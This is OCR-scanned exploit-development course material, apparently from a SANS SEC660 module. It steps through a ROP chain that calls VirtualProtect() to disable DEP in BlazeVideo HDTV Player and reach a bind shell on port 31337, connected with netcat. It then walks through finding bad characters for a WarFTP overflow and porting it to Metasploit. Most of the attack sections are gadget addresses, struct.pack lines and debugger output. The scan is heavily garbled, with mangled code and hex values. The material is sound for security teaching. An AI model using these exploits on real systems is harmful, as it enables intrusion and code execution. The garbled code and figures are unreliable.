# Filler (compensate for retn 4 from prior gadget) 

\,h.1111,,i l'''"l~.1·1111 1,, •11::. I 'i''"'l \\·11111.•. 1•·<' 1 111< 1i ll.nk111 • 

Gadgct#4 
Wc push thc address of VirtualProtcct() hcld in EAX onto thc stack and pop it into ESI, whcrc it nceds 
to bc for whcn thc PUSHAD instruction exccutcs. Wc thcn ·'RETN 4." Wc will nced to add 4-bytes of 
padding aftcr thc ncxt gadgcts address on the stack to compcnsatc for thc "RETN 4." 

• We add 4-bytes of padding for the prior gadget's 
"RETN 4" instruction 

t) 

rop+= struct.pack('<L', Ox61642a55) 
1 PU•H EAX 1 POP ESI t RETN 4 (EP .dll) 

• Now that we have the address of VirtualProtect(), 
we need to get it into ESI for the PUSHAD 
instruction 

• This gadget pushes the VirtualProtect() address 
from EAX onto the stack and then pops it into ESI 

Gadget #4 
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Press F7 to advancc through this gadgct and confinn rcsults. Whcn reaching thc ncxt gadgct, advancc 
to thc ncxt slide. 

rop+= struct. pack ( '<L' , Ox6403dla6) 
#POP EBP # RETN [MediaPlayerCtrl.dll] 
rop+= struct.pack('<L', Ox41414141) 
# Filler (compensate for RETN 4 from prior gadget) 
rop+= struct.pack('<L', Ox6161055A) 
# & push esp # ret Oe [EPG.dll] 

Gadget #5 
We are popping into EBP thc address of a "PUSH ESP, RETN OC" instruction. This will be uscd as 
thc rctum pointcr for thc call to VirtualProtcct() oncc wc gct control back from thc Kernel. Upon 
rctum, thc instruction at this addrcss will bc thc first thing to exccute. lt will takc thc addrcss hcld in 
ESP, push it onto thc stack, and thcn rctum to that stack position 1- OC. This will land in our NOP sied 
and gct us shcllcodc cxecution! This will be quitc obvious whcn wc gct to that step. 

rop+= struct.pack( <L, Ox6403dla6) 
t POP EBP t RETN (M di Pl y rCtrl.dlll 
rop+= struct.pack('<L', Ox41414141) 
f F 11 r ( q>Pr te REN 4 fr prior godJ t) 
rop+= struct.pack('<L', Ox6161055A) 
t & push p t r t Oe [EP .dll] 

• We are popping into EBP the address of the instruction, 
"PUSH ESP # RET OC" 

• This will serve as the return pointer to VirtualProtect() once 
we get control back from the Kernel 

• Upon return, it will be the first thing to execute, pushing 
ESP's address onto the stack, then returning to that address 
+ OC, executing our NOP's and shellcode 

Gadget #5 
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Press F7 to advancc through this gadgct and confirm rcsults. Whcn rcaching the next gadgct, advance 
to thc ncxt slide. 

Rcmcmbcr, our goal is to placc thc argumcnts to YirtualProtcct() in a vcry spccific order into the 
rcgisters. Thc "PUSHAD'' instruction will push thcm onto thc stack and if sct up properly, rctum to 
thc YirtualProtcct() function call. The reason we arc using a vcry largc numbcr addcd to anothcr vcry 
large number is to cxcccd 2 "32, rolling thc rcgistcr back to zero, precisely to Ox501. We cannot havc 
nulls, so any techniquc to accomplish this goal will work. 

rop+= struct.pack('<L', Ox61323EA8) 
#POP EAX # RETN ** [DTVDeviceManager.dll] 
rop+= struct.pack('<L', OxA139799D) 
# It will result in Ox00000501-> ebx 

\1 •\ 1' l'' IJ, II i. 1 1.1 l , l 1 'l \1 • • ' 1 1 li 1 t H' • 

- Remember, our goal is to get the proper arguments into 
the right registers for "PUSHAD" and VirtualProtect() 

- We can't have nulls, so to accomplish we look for a very 
large value being added to another, resulting in Ox501 

Gadget #6 
Wc pop into EAX thc valuc OxA 1397990 which wc will bc addcd to Ox5EC68864 in thc ncxt gadgct. 
Whcn addcd togcthcr, it will rcsult in thc valuc Ox501, serving as thc VirtualProtect() sizc argumcnt. 
To dctcrminc thc value to pop into EAX, you would simply need to find an add instruction that adds a 
very largc valuc, such as the onc wc arc using, and thcn add to it the appropriatc valuc that rcsults in 
thc dcsired sizc valuc, oncc rolled over past Y32. 

rop+~ struct.pack('<L, Ox61323EA8) 
t P P :AX t RE N "'• (DTVD l n 
rop+= struct.pack('<L', OxA139799D) 
1 I n OxO 00050 -~ bx 

• Pop into EAX, the value "Ox61323EA8" 
- The next gadget will add "Ox5EC68B64" to this value, 

becoming Ox00000501, our size argument to 
VirtualProtect() 

Gadget #6 
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Press F7 to advancc through this gadgct and confirm rcsults. Whcn reaching thc ncxt gadgct, advancc 
to thc ncxt slide. 

rop+= struct.pack('<L', Ox640203fc) 
f ADD EAX,SEC68B64 # RETN ** [MediaPlayerCtrl.dll] 

Gadgct #7 
This is thc add instruction covcrcd in thc previous gadgct's cxplanation. Thc sum of Ox5EC68864 + 
Ox640203FC = Ox00000501. This is our sizc argument to YirtualProtcct(). 

\,h.111t • .l l',11,11.111.,111,,111:~. I 'i'i''" \\1;1111.•. 111.i 1 i11,.1l ll.1<l·-i~1" 

• This gadget simply adds the value we popped into 
EAX with Ox5EC68B64, resulting in OxSOl 
- Ox5EC68B64 + Ox640203FC = OxOOOOOSOl 
- This is the size argument to VirtualProtect() 

Gadget #7 
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Press F7 to advance through this gadgct and confirm results. When reaching thc ncxt gadgct, advancc 
to the ncxt slidc. 

* * [ EPG. dll] 

rop+= struct.pack('<L', Ox6163d37b) 
# PUSH EAX # ADD AL,SE #POP EBX # RETN 

., [EPG.dll) ~~~~~~~~~~~~~~~~~~- -~~~~ 
rop+= struct.pack('<L', Ox6163d37b) 
f PUSH EAX t ADD AL,SE f POr EBX 4 RETN 

Gadget #8 
This gadgct pushcs thc Ox501 size argumcnt from EAX onto thc stack, followcd by an unwantcd 
instruction. Wc thcn pop thc sizc argument into the EBX rcgistcr which is whcre it needs to bc duc to 
thc way thc PUSHAD instruction pushes the argumcnts onto thc stack. 

• This gadget pushes the size argument "OxSO 1" to 
VirtualProtect() onto the stack, and then pops it 
into EBX 
- EBX is the register where it needs to be for the 

"PUSHAD" instruction 
- There is an unwanted instruction in-between the PUSH 

and the POP, but it does not harm anything 

Gadget #8 



183 

Press F7 to advancc through this gadgct and confirm rcsults. Whcn rcaching thc ncxt gadgct, advancc 
to the ncxt slidc. 

** [EPG.dll] ~ XOR EAX,EAX # RETN 
rop+= struct.pack('<L', Ox61626807) 

Gadget #9 
This gadgct zcrocs out EAX ro prcparc it for thc next argumcnt. 

rop+~ struct.pack('<L', Ox61626807) 
f XOR EAV,EAX i RETN •• EPG.dll) 

• This gadget simply zeroes out the EAX register to 
prepare it for the next gadget 

Gadget #9 
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Press F7 to advance through this gadgct and confirrn rcsults. Whcn rcaching thc ncxt gadgct, advancc 
ro the next slide. 

rop+= struct.pack('<L', Ox640203fc) 
# ADD EAX,5EC68B64 # RETN ** [MediaPlayerCtrl.dll] 

Gadget #10 
In this gadgct wc arc adding thc valuc Ox5EC68B64 ro EAX, which currcntly holds 0. This will be 
addcd with anothcr valuc shortly to gct thc pcrmission argumcnt of0x40 for VirtualProtect(). 

• Gadget #10 adds the value "Ox640203FC" to the 
zeroed out EAX register 

• This value will be added with another shortly to 
produce Ox40, serving as our permission argument 
to VirtualProtect() 

Gadget #10 
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Press F7 to advancc through this gadgct and confirm results. When rcaching thc ncxt gadgct, advancc 
to thc ncxt sl idc. 

rop+= struct.pack('<L', Ox6405347a) 
f POP EDX 1 RETN ** [MediaPlayerCtrl.dll] 
rop+= struct.pack('<L', OxA13974DC) 
t Value to pop into EDX, which will result in Ox00000040-> edx 

Gadget #11 
Wc are now popping the value "OxA l 3974DC" into EDX. In thc next gadgct wc will add EDX with 
EAX to get the Ox40 pcnnission argumcnt to YirtualProtcct(). 

1lt in 

•trl.dl 

• We are now popping the value "OxA13974DC" into 
the EDX register 

• This will be added to EAX in the next gadget, 
producing the "Ox40" permission argument value 

Gadget #11 
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Press F7 to advancc through this gadgct and confirm results. Whcn rcaching thc ncxl gadgct, advancc 
to thc ncxt slidc. 

rop+= struct.pack('<L', Ox613107fb) 
# ADD EDX,EAX # MOV EAX,EDX # RETN ** [DTVDeviceManager.dll) 

• The second instruction in this gadget is unwanted, 
but does no harm 

Gadget #12 
This gadget contains thc codc to add EAX to EDX, which will rcsult in thc Ox40 pennission argumcnt 
to YirtualProtcct() being storcd in thc EDX register. This is whcrc it nccds to bc for thc PUSHAD 
layout. Wc thcn havc an unwantcd instruction that copics thc Ox40 valuc frorn EDX ovcr to EAX, 
which scrvcs no purposc, beforc rcturning to thc ncxt gadget. 

• This is the gadget that adds the value in EAX to the 
value in EDX 

• The two values added will flip over 2 /\ 32, 
resulting in Ox40 stored in EDX 

• EDX is the register needing the permissions 
argument for the "PUSHAD" instruction 

Gadget #12 
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Press F7 to advancc through this gadgct and confirm results. Whcn rcaching thc ncxt gadgct, advancc 
to the next slidc. 

rop+= struct.pack('<L', Ox61601fc0) 
#POP ECX # RETN [EPG.dll] 
rop+= struct.pack('<L', Ox60350340) 
# &Writable location [AviosoftDTV.exe] 

• We are using the address "Ox60350340" from 
AviosoftDTV .exe 

rop+= struct.pack('<L', Ox6160lfc0) 
f POP ECX f RETN (EPG.dll) 
rop+• atruct.pack('<L', Ox60350340) 

&Writ bl l c ti n [Avios ftDTV.ex 

Gadget #13 
Wc arc now popping thc address Ox60350340 from thc stack into thc ECX rcgistcr, scrving as thc 
writablc address uscd by VirtualProtect() to store the old pcnnission valuc that wc arc changing to 
Ox40. This addrcss can bc any writablc arca. 

• This gadget pops into ECX, a writable address to 
serve as the LpOldProtect argument to 
VirtualProtect() 

• This can be any writable location 

Gadget #13 
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Press F7 to advance through this gadgct and confirm results. Whcn rcaching thc ncxt gadget, advancc 
to thc next slidc. 

rop+= struct.pack('<L', Ox61329e07) 
#POP EDI # RETN [DTVDeviceManager.dll] 
rop+= struct.pack('<L', Ox61326003) 
# RETN (ROP NOP) [DTVDeviceManager.dll] 
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Cadget #14 
We now pop into EDI thc addrcss "Ox61326003" (RETN) which will scrvc as a retum instruction. This 
is duc to thc fact that whcn crcating thc ROP gadgets, thcrc wcre no perfect gadgcts to put thc address 
of VirtualProtect() and its argumcnts into thc most desired order in thc rcgistcrs. EDI is thc rcgister 
ESP is pointing to whcn PUSHAD cxccutcs. Whatcver address is hcld hcrc will bc whcrc EIP jumps 
duc to thc "RETN" aftcr "PUSHAD" is cxccutcd. Wc havc thc addrcss of VirtualProtect() just bclow 
this position on thc stack as it was writtcn into thc ESI rcgistcr. As ESP is pointing to the addrcss hcld 
in EDJ, pushcd onto thc stack, we will pop into EDI thc addrcss of a simple "RETN" instruction, 
advancing ESP down to thc actual call to VirtualProtect(). 

rop+c struct.pack('<L, Ox61329e07) 
i POP EDI t RETN (DTVDevi ~4 n g r.d l 
rop+• atruct.pack('<L', Ox61326003) 
t RETN (ROP NOP) (DTVD vic Mn qer.d lJ 

• We now have all of our arguments to 
VirtualProtect() in the correct registers, but ... 
- When "PUSHAD" writes the registers onto the stack, the 

last one written, where ESP will be pointing, is EDI 
- The second to last register written is ES!, which holds 

the pointer to VirtualProtect() 
- Since ESP will be pointing here and returning to the 

address pushed from EDI, we need it to simply RETN 

Gadget #14 
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Press F7 to advance through this gadgct and confirm results. When reaching thc ncxt gadgct, advancc 
to thc ncxt sl idc. 

rop+= struct.pack('<L', Ox61606595) 
#POP EAX # RETN ** [EPG.dll] 
rop+= struct.pack('<L', Ox90909090) 
# nop to pop into EAX 

- When returning from the call to VirtualProtect(), the code 
at this position on the stack will be executed first 

Gadget #15 
This gadgct is uscd to pop a DWORO of NOP's (Ox90909090) offthc stack into EAX. Wc arc 
popping the NOP's into EAX as it is thc first argumcnt pushcd onto thc stack by thc PUSHAD 
instruction. lt will sit right up against our othcr NOP's. Wc do this to cnsurc no harmful instructions 
arc cxccutcd. Thc first instruction to cxccute will bc this DWORD of NOP's aftcr rcturning from the 
call to VirtualProtect(). 

rop+= struct.pack('<L', Ox61606595) 
i PP AX 1 RF.TN •• [EPG.dll 
rop+= struct.pack('<L', Ox90909090) 
i nop top p int EAX 

• This gadget pops Ox90909090 into EAX 
- EAX is the very first register tobe pushed onto the stack 

by the "PUSHAD" instruction 
- That being the case, we fill it with NOP's so that it is 

pushed onto the stack up against the other NOP's 

Gadget #15 
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Press F7 to advancc through the PUSHAD instruction and stop at thc RETN. Continuc to thc ncxt 
slide. 

rop+= struct.pack('<L', Ox61620CF1) 
# PUSHAD ~ RETN [EPG.dll] 

\d\ .mu·d l'ntL"ll arh 111 ·1t- .. 1111g. 1 :-.plu11 \\ nr 111g •. uul 1 .1 h1L al lf ad..mi• 

Gadget#l6 
This is thc PUSHAD gadgct to push all gcncral purpose registers onto thc stack. Sincc wc placcd thc 
addrcss of, and arguments to VirtualProtect() in a spccific ordcr, thcy will bc writtcn onto thc stack so 
that we can successfully call it and pass the argumcnts in thc right ordcr. Just bcforc cxccution of the 
"PUSHAD" instruction, ESP points to thc NOPS just past our ROP chain and scrvcs as the 
"LPAddrcss" argument to VirtualProtcct() that specifies thc location wherc we want to changc 
pcrmissions. 

rop+- struct.pack('<L', Ox61620CF1) 
t PU HAD t RETl [ EeG. dll 

• The final gadget is the "PUSHAD" instruction, 
followed by a return 

• When you press F7 to single-step through this 
gadget, watch how the arguments are pushed onto 
the stack by "PUSHAD" 

• Confirm everything we have covered thus far 

Gadget #16 
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Wc will now call VirtualProtcct(). Continuc to thc ncxt slidc. 

PUSHAD RETN 

Whcn rcaching thc "RETN" after the "PUSHAD" instruction, ESP is pointing to thc addrcss pushcd 
onto thc stack from EDI. Wc carlicr popped into EDI thc addrcss of a simple "RETN" instruction, in 
order to advancc ESP to thc addrcss of VirtualProtcct() on thc stack, and retum. 

After 

Before 

• When reaching the RETN after the PUSHAD 
instruction, ESP is pointing to what was held in EDI 
- We placed a pointer to a simple RETN in EDI so that it 

would advance down to the VirtualProtect() address 
[SPQ ,....u~~ 

PUSHAD RETN 
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Calling VirtualProtectO 
Press F7 to retum to thc VirtualProtect() function addrcss placcd on thc stack. Whcn you start singlc- 
stcpping, you will sec that you pass through Kemcl32.dll, into KcmclBasc.dll, and into NTDLL.dll, 
bcforc making a SYSENTER into thc Kernel. Press F7 on thc SYSENTER instruction and you will 
instantly bc rctumcd out of the Kernel, sincc this is a Ring 3 debugger. Thc pcrmissions should now 
havc bccn changcd on thc stack area containing our shellcodc. 

• Single-step through these instructions until you get 
to the "SYSENTER" instruction, and press F7 to let 
it execute 

I
"" ?( nr~uu:~urrotcc ui.- uo enory 1 
EE 61 3 DtUDeuic.61326 3 

w ?51422FC K FLBA.7!;1 22PC 

• Press F7 to go through a series of instructions in 
Kernel32, KernelBase, and NTDLL 

~IP ?69E2341 kernel32.Uirtu~1Protectj 

• When you press F7 to the return to VirtualProtect(), 
EIP should be pointing inside of Kernel32.dll 

Calling VirtualProtect() 
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Wc arc rcturning to thc instruction that will push ESP onto thc stack and thcn rctum to it, gctting us 
codc cxccution on thc stack! Press F7 oncc and movc to thc ncxt slidc. 

Returning From VirtualProtectO 

After thc SYSENTER, press F7 quitc a fcw times, but carcfully, until reaching thc point whcrc thc 
stack pointcr points to what is displaycd on thc slidc. lgnore stack addrcssing and codc scgmcnt 
addrcssing of coursc as ASLR is running. ESP should be pointing to thc rctum pointcr position on thc 
stack that wc sct up for VirtualProtcct(). Wc arc about to "RETN 1 O" as you can sec, which will ad just 
thc stack pointcr down past thc argumcnts to VirtualProtcct(), prccisely at our NOP location! 

• Press F7 until reaching the point where the stack 
pointer points here: 

ESP Q 1 1 ~A • 1 0012P494tö rt~ ... ,~_,~~~~==~~......, 
08889501 fi» .. 
eeeee&te @ ••• 68358348 @•S' Configur.60350340 
98989898 tttt 98989898 (Ut _____, 

• At the same time as ESP is pointing to the above, 
the instruction pointer should be pointing to the 
following instruction 

EIP c) ~,.._..,...,.,,.,.--.......,._... ....... ~~~--..,.~ ..... 

Returning From VirtualProtect() 
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Getting Code Execution 
This block of codc simply pushes the address held in ESP, which points to our NOP sied, onto the 
stack, and then does a "RETN OC! ! l" This gcts us execution on thc stack, sliding through our NOP 
sied to the shcllcodc! 

8912P490 
90989090 
98909090 
90909090 
90909090 
90909090 
90989090 
90989090 
90909090 
90909090 ?4D9C1DD C4BBP424 

NOP·s and Shellcode! 

• This code block pushes ESP onto the stack and 
then we return to it, getting NOP and shellcode 
execution an the stack! ! ! 

Getting Code Execution 
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lfyou madc it hcrc, awcsomcjob!!! Go run it ten morc timcs to makc surc you understand all ofthc 
gadgets! © 

C: \Program ... \ .. \BlazeVideo HDTV Player 6. 6 Professional> 

root@bt:-# nc.traditional 192.168.239.136 31337 
Microsoft Windows [Version 6.1.7601] 
Copyright (c) 2009 Microsoft Corporation. 
All rights reserved. 

Wc thcn usc anothcr system to conncct! 

0.0.0.0:0 0.0.0.0:31337 LISTENING 
C:\Users>netstat -na lfind "31337" 

TCP 

Shellcode Execution 
After prcssing F9 to let thc cxploit continue, wc check to sec if port 31337 is opcn: 

\d\ .im:cd l'ntl"llalh 111 ·1 ~- ... 1111g. 1 .,pJ011 \\ nr1ng •. uul 1 .illll al 11 ;u kmg 

C:\Program_\ .. \BlazeVideo HDTV Player 6.6 Professional> 

root~ot:-i nc.traditional 192.168.239.136 31337 
Microsoft Windows [Version 6.1.7601) 
Copyright (c) 2009 Microsoft Corporation. 
All rights reserved. 

• We then use another system to connect! 

LISTEN ING 
ers>netstat -na lfind "31337" 

0.0.0.0:31337 0.0.0.0:0 

• After pressing F9 to let the exploit continue, we 
check to see if port 31337 is open: 

Shellcode Execution 
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Exercise: Using ROP to Disable DEP - The Point 
Thc purposc of this cxercisc was to havc you tracc cxccution using a ROP chain so that you can bcttcr 
understand how thcy work. Since this is Windows 7 and 8, wc had to find non-ASLR participating 
modulcs, non-SafcSEH participating modulcs, and disablc DEP. ! 

• Disable Hardware DEP using ROP 
• Get around ASLR by using static, non- 

rebased modules 
• Get around SafeSEH by using non- 

participating modules 
• Become familiar with ROP to disable controls 

Exercise: Using ROP to Disable DEP 
The Point 
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Building a Metasploit Module 
In this modulc wc will takc a bricf look at porting an cxploit ovcr as a Metasploit module. 

SANS SEC660.5 

Building a Metasploit 
Module 



198 

Objectives 
In this module we will takc an cxamplc FTP cxploit and port it into Mctasploit. We will also covcr 
thc tcchniqucs uscd to discovcr bad charactcrs and handle othcr issucs as thcy arisc. 

• Our objective for this module is to 
understand: 
- The Metasploit sample template 
- Searching for bad payload characters 
- Porting an exploit 
- Testing the exploit 

Objectives 
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Why Metasploit? 

Therc arc a largc numbcr rcasons as to why thc skill of porting exploits over to Metasploit 
modulcs is uscful. The big players in penetration tcsting frameworks arc Core Impact, SAINT, 
lmmunity Canvas, and Rapid7's Metasploit. Oftcn, one vendor will discovcr a ncw vulncrability 
and be the first to crcate an exploit module. This often leads to thc other vcndors working quickly 
to port a vcrsion of the exploit ovcr to thcir product. Often, thcsc vcndors havc vulnerability 
rescarchcrs watching vulncrability announcements and analyzing patches to diseover undisclosed 
vulncrabilities and add them to thcir product. When an cxploit is available in another produet, or 
when one is found online somewhcrc, you may dcsire to have a vcrsion of that cxploit available 
for Mctasploit. Others may have to run your exploit and Mctasploit provides an easy to usc 
framework. Executing an cxploit script may seem trivial once written; however, you must 
considcr your audience. You may bc at a custorncr site where the security staff is not as 
tcchnically savvy and would appreciatc having an easy to use modulc. Think about how much 
work has gonc into building Metasploit and how much usc you havc gottcn out ofthc tool. 
Rcsearchers likc HD Moore and Skape have spent countless hours devcloping Metasploit and its 
modulcs. 1 f you writc cxploits as Mctasploit modules, others can bcncfit from your work. Crcating 
Metasploit modulcs also provides a simple framcwork to house all of your exploits in one place. 

• There are many reasons to port exploits to 
Metasploit: 
-An exploit module is available for Core Impact, 

SAINT, Canvas, and you want it for Metasploit 
- Simplicity for others who may have to run your 

exploit. Junior testers, customers, peers ... 
- Contributing your exploit to the community. 

Think about all of the work put into Metasploit! 
- All your exploits in one place 

Why Metasploit? 
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Updatcd Mctasploit templatcs: https://github.com/rapid7/metasploit- 
framcwork/commit/03e2cda9e 1 ca254faf8 fc08ab2c7fU9bffa7bd1 c#documcntation/samplcs/modul 
cs/cxploits/samplc.rb 

Mctasploit Tcmplatc (1) 
Locatcd at "/framcwork3/documcntation/samplcs/modules/cxploits/samplc.rb" on BT4, or 
"/opt/mctasploit/msß/documentation/samplcs/modulcs/cxploits/samplc.rb" i f running BT5 or Kali 
Linux, is a samplc Mctasploit module created by Skapc. lt is a rclativcly simple cxample of what a 
basic cxploit looks likc as a Mctasploit module. As exploits bccome morc complex, so can thc 
process of geuing them to work insidc of Mctasploit. There are a large numbcr of fcaturcs that can 
be leveragcd as part of thc Metasploit framcwork and they are quickly lcamcd whcn thcy arc 
nccdcd. Mctasploit modules are written in Ruby and rcquirc littlc to no cxpcricncc with the 
languagc. 

• Sample File: sample.rb 
- Sample template to build your own Metasploit modules 
- Ruby experience not required 
- Provided by Skape 

• /framework3/documentation/samples/modules/exploits/sample.rb 
• / optf metasploit/msf3/documentation/samples/ modules/ exploits/sa 

mple.rb - on Backtrack 5 and Kali Linux 
- Templates updated by egypt. URL is in the notes 
- Porting some exploits requires much trial and error 

Metasploit Template (1) 
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4) Information pertaining to thc cxploit; e.g. Name, Dcscription, Refcrcnces, etc. 

5) Payload Options such as the space for shellcode and bad characters. 

1) The require 'msf/core' Statement is required for all modulcs and imports the Mctasploit core 
library. The line module M~fis also nccded. 

2) Dcfining class and cxploit type. 

3) Setting connection type. Thcre arc various handlcrs 10 work with various protocols such as 
FTP. 

Metasploit Templatc (2) 

On this slidc is thc first half of the sample.rb file. 

.. t'~:)(\(.H 

'R.1·1! 1 a• s 

hllP< , ~Re,1s1on· q~!~ ,., 

..... Sotr:U\t "·i \01' , 
> \Q{ 

Th\ t\:•'C t •lidr- t\11"1:f'S 

c\ass Explo1ts:.S.smple < Hsf::Explo1t· R~•ote ~ 
inc\ude (xplo1t: Re•ote .. T(p :3 
def 1n1tial1ze(1nfo a {} 

supe{( • .s .nfo( into , 
• ' < 

D~ , 1 • t .... , 

4 . . 
4 111 1r 
.f,. .. lOf'I 
';(, f,.,,. e\ 

[ 
), 

Pa.loa~ 
{ 

100du\e Msf 
r re v • ii1• 

Metasploit Template (2) 
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6) The "Targets" scction allows you to set the OS/Platfonn options, as weil as the rcturn pointer 10 
bc used. Y ou can speci fy di ffcrcnt rcturn addresses for different OS vcrsions. 

7) Thc "check" section allows you 10 evaluate server banners and messages to detennine i f il is a 
vulnerable vcrsion, based on your spccifications. 

8) The "cxploit" scction is whcrc you pul in the syntax infonnation to triggcr thc vulncrability and 
appcnd thc payload. 

Metasploit Template (3) 
This slide contains the second half of the sample.rb filc. 

.. ") 

• • .... "" 1 > ~· • ~ 0)) 
end 

{ 
def check 

] . return Explott· ·Check(ode· -vutnerente 
end 
def explolt 

. { ~o~n.-.ct , ( Serdtn9 •1payload.encoded lenothl byte payload 

. t, 1024 

8 bu1 • 1 taroet. ret J. pack( V l 
. buf •• paylo&d.encodeo 
. sock.put(but) 
. sock. get 
. handler 
end 

t. 

er•ie· ~ _, 
1 

Metasploit Template (3) 
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Finding Bad Characters 
The majority of programs havc charactcrs that are cncodcd or arc not supported for onc rcason or 
another. This often causcs your payload to bc modified or improperly copicd, causing thc 
cxccution of it to fail. Thcrc are a couplc of ways to detenninc which charactcrs are not supportcd. 
Wc will cover a common tcchnique. Thcre are also Situations whcn an input validation routinc or 
Iiltcr is causing undcsirable rcsults based on your input to the program. This oftcn rcars its head 
by delivering an error messagc, if you're lucky. We will look at a technique to help in this 
Situation as weil. 

• We will be walking through porting over the 
WarFTP exploit and therefore need to determine 
any bad characters 

• Seme hex values in our payload may be encoded 
- We can search for this with a simple technique 
- May be time consuming 

• The program itself may not permit certain 
characters 
- Input validation or filtering may be blocking them 
- We can discover these with another technique 

Finding Bad Characters 
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Now that know this simple cxploit works, wc can start tcsting for bad charactcrs. 

Verifying Our Old Exploit 
Let us first pull up a simple working cxploit against WarFTP with DEP disablcd. In the top imagc 
is a Python script with a "jmp csp" addrcss uscd to ovcrwritc thc rcturn pointcr. This will rcdirccl 
EIP to thc stack and our codc will bc cxccuted. On the stack wc havc placcd "\xcc\xcc\xcc\xcc." 
Thc hex valuc "\xcc" translates to an INT3 instruction, scrving as a breakpoint insidc thc 
dcbuggcr. l f we succcssfully exploit thc program, rcdirccting control to our "xxcc" instructions on 
thc stack, thc debugger will pause cxccution. As can bc scen on thc bottom irnagc, thc program 
has pauscd. 

• Our INT3's are hit, mimicking shellcode execution 

st.ruct 
j~pesp • Ox?c941eed 
J~pespaddr • struct..pack('<L', Jmpesp) 

• Example WarFTP exploit written in Python, using 
"\xcc" (INT3) bytes as our shellcode 

Verifying the Exploit 
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.. ,. 
+• .. 
+• .. 
+• 
+• 
+• 

bode1' .. 
bade +• 

·i.. • " .. 
bade +• 

Modifying Our Payload 

Now that we havc a working cxploit, wc want to idcntify any bad characters. Specifically, wc arc 
looking for hexadecimal bytcs that wc want to avoid in our shcllcodc. This way wc can teil 
Mctasploit to cxclude thcm from the encoding uscd for our selcctcd payload. Duc to any number 
of prograrnrnatic idiosyncrasics and thc bchavior of various memory copying opcrations, certain 
valucs arc cncodcd, filtcred, ignorcd, and just plain modificd, which will brcak our shcllcodc. Thc 
first thing we want to do to is creatc a list of hexadecirnal values, OxOO to Oxff. This reprcscnts all 
possible byte values that could be used in our shcllcode. Thcrc arc various ways to do this type of 
bad charactcr check and cxisting scripts available online. Wc could ccrtainly crcate a range of 
valucs as opposed to including cvcry valuc; howcvcr, for our purposcs wc will usc thc full list. 

• We must determine the bad characters 
• Sending the payload \xOO through \xff "O - 255" 

Modifying Our Payload 
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·· + • · • 485 + ,,.pespaddr + • ' ·o·· • 4 + bade Mir 

, Jmpe.sp) 

ll>ad_ r• \ xOO 
lll:Pt•P ·7c9i1eed 
'lllJ'C•paüd.. • scruct.pack( 

Our New Exploit and Payload 

On this slidc is our working cxploit with our ncw payload, "badchar." Wc havc rnodificd the 
prcvious payload of "\xcc\xcc\xcc\xcc" to our 0 - 255 array, in hex of course. We can assumc 
"\xOO" is likcly a bad valuc to usc as it terminales many string copy Operations or is simply 
ignored, and so wc havc rcmovcd it from thc list. Thc "jmp esp" address is from a basc build of 
XP SP2. You may nccd to use a different addrcss on your systcrn if you attcmpt to exploit thc 
program. Prior to running thc script, we makc sure to run WarFTP insidc of lmmunity Debugger. 

~r . ~·· .. 
be:lc ~ ·- oadG: - l>edc~ +• 
bade ·- bade +• 
bade: +• 
i..1c:: ' +• 
ba<.SC. +• 
ti.dcl ' .. 
ti.dcl +• 
bedcl +• 
baX! .. 
b4d:l ·- ~ +• 

atr~c 

Our New Exploit and Payload 



207 

- Found the next bad character - \xOd 

- We have found the first bad character 
- Remove and run again 
- \xO 1 - \xOc, then \x20 

- Where is \xOa? 

Bad Characters 
After running thc script, WarFTP crashcs from within thc dcbugger. At this point, ESP is pointing 
to thc beginning of our payload on thc siack. On thc top imagc you can see that thc first sct of data 
is "\x04\x03\x02\x01," which is the first four charactcrs in our payload. The second line shows 
"\x08\x07\x06\x05" and thc third line shows "\x63\x20\x20\x09." lt looks likc thc hex valuc 
"\xOa" is missing, causing thc rcst of the payload to fail. Wc havc found our first bad character 
and can rcmovc " Oa" from our "badchar" array. Whcn running the script aftcr rcmoving "\xOa" 
wc sec that thc program has crashed again. Whcn analyzing thc bottom image, you should noticc 
that thc next bad charactcr is "\xOd." Lct's add thcm both to thc bad charactcr list and excludc it 
from our payload. 

08070605 69202009 2072746E 72657855 6F726620 

• The stack after the program crashes: 
- \xOl - \x09, then \x20 

Bad Characters 
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A New Issue ... 

When running thc script after rcmoving "\xOa" and "\xOd" wc hit a new issue. WarFTP has 
respondcd with the error message "530 Illegal Uscmarnc" as opposcd to thc normal "User name 
okay" mcssage. lt looks as if thcre is somc type of input validation or filtcring occurring on thc 
"USER" command. There must be at least one value that is not pennitted. 

• ... but which character? 
• We'll need to locate and remove 

P thon25> 

'Python25)python.exe tect.py lnc 12?.0.0.1 21 20- Jgaa'c Pan Club FTP Service URR-PTPD 1.65 Ready 
. 28 Pleat>e enter you1• user n 30 Jlleg 1 Uce~na e. 

"C 

• The program seems to have an issue with a 
cha racter as weil 

A New Issue ... 
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As you can sec on the bouom image, "\x40" is a bad charactcr and wc must cxcludc it from our 
payload. 

Script: bad_char.py 
In your 660.5 folder is a Python script called "bad , char.py ," written by the author of this scction 's 
material. This script makes a connection to an FTP server listcning on thc localhost and sends in 
''\xOO" - "\xfr' to look for characters that are not pcrmiucd by the uscrnamc ficld of the FTP 
Server. lt is casily modifiable to work with other programs. lt sends in the values, onc per 
connection and checks for a response othcr than "User name okay." If it gets a different rcsponsc, 
it dcems the sent valuc as a bad charactcr and adds it to a list. At thc end of the loop it prints out 
all bad characters. Obviously, this script has minimal functionality, but fccl frcc to cxpand it if 
useful. 

r„ying: n 
Iryi : 2 

lrying: 1 

of Loop 
character~: 0x10 

.py :'Python25}bad_cha 
rying: 

lrying: Q 
l 1•ying: a 
l a•ying: • 
Tt" in : • 

• Located in your 660.5 folder 
- Connects to the server 
- Sends in ASCII characters one 

at a time 
- Analyzes response to look for 

errors 
- Acids bad characters into a list 

and prints them out 
- Now we exclude Ox40 

Script: bad_char.py 
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Continuing with the Script 
Now that wc havc cxcludcd "\xOO, \xOa, \xOd, and \x40" from our payload, thc script is run again. 
Analyzing thc imagc on the right, wc sec that therc arc no morc bad charactcrs. We are now ready 
to build our Metasploit modulc. 

~~ 
Cff•~4 1211100F 16151418 1A191917 1El01C1B 2".?21201F 
26252423 
2A292827 
2E202C26 
3231S02F 
363SS433 
3A'393837 
sr·303CSS 4.J42418F 47464544 4~A49"'9 4F4E404C 5~~150 57S65554 SBSR69S8 
SFSE505C 
&3626160 
67666564 
686A6968 
&F6E606C 

• No more bad characters! 
• We can now add all known bad 

characters to our Metasploit 
module 

04 

• Bad characters so far: OxOO, ~ 
OOASFCS 

OxOa, OxOd, & Ox40 ~~ 
.-----'~ • Running the script yields L---.v ~....,. 

OOASFD OOASFD7 
OOASFD71 OOASFD?r1 

Continuing with the Script 
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1 

